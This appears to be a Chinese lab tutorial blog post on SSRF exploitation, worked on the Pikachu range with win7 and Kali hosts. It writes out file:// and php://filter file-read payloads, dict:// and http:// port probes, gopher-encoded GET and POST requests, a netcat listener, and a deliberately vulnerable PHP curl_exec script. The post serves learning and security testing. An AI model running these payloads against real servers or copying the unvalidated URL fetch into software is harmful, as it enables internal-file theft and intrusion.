SSRF学习-gopher协议学习

ssrf是攻击者伪造服务器端发起请求的漏洞

  • 读取服务器内部文件
  • 端口扫描
  • 攻击脆弱的内网应用

pikachu靶场

curl_exec()

使用此函数前提

  • PHP版本>=5.3
  • 开启extension=php_curl.dll

0x01 读文件

http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=file://c:/test.txt

在这里插入图片描述

0x02 探测主机端口信息

http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306/info

在这里插入图片描述

http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306/info

在这里插入图片描述
在cmd输入curl --version可查看curl支持的协议
在这里插入图片描述

file_get_content

使用此函数前提

  • php.ini的allow_url_fopen设置为ON

读文件
在这里插入图片描述

php伪协议读文件

在这里插入图片描述
读取以base64加密后的test.txt

http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=c://test.txt

在这里插入图片描述

gopher协议

实验
前提:curl支持gopher协议
在这里插入图片描述

win7(漏洞)192.168.254.132
kali(攻击)192.168.254.128

漏洞代码

<?php
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 设置URL和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL并把它传递给浏览器
curl_close($ch); // 关闭cURL资源,并且释放系统资源
?>

使用phpstudy搭建环境
测试环境是否搭建成功
在这里插入图片描述
0x01 kali监听1234端口

nc -lvvp 1234

在这里插入图片描述
0x02 利用gopher协议向kali发送数据
在这里插入图片描述
kali接收到数据

gopher发送get请求

win7上的源码

<?php
	echo $_GET['a'];
?>

最简单的get请求

GET /test.php?a=hello HTTP/1.1
Host:192.168.254.132

url编码
(注意如果使用类似burpsuite等工具进行url编码的话,回车可能会编码成%0a,而我们要将其编码成%0d%0a才行)

GET%20/test.php?a=hello%20HTTP/1.1%0d%0aHost:192.168.254.132%0d%0a

然后用curl发送请求

curl gopher://192.168.254.132:80/_GET%20/test.php?a=hello%20HTTP/1.1%0d%0aHost:192.168.254.132%0d%0a

在这里插入图片描述

gopher发送post请求

win7上的源码

<?php
	echo $_POST['a'];
?>

最简单的post请求报文

POST /test.php HTTP/1.1
host:192.168.254.132
Content-Type:application/x-www-form-urlencoded
Content-Length:11

a=hello

将其url编码

POST%20/test.php%20HTTP/1.1%0d%0ahost:192.168.254.132%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:11%0d%0a%0d%0aa=hello%0d%0a

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值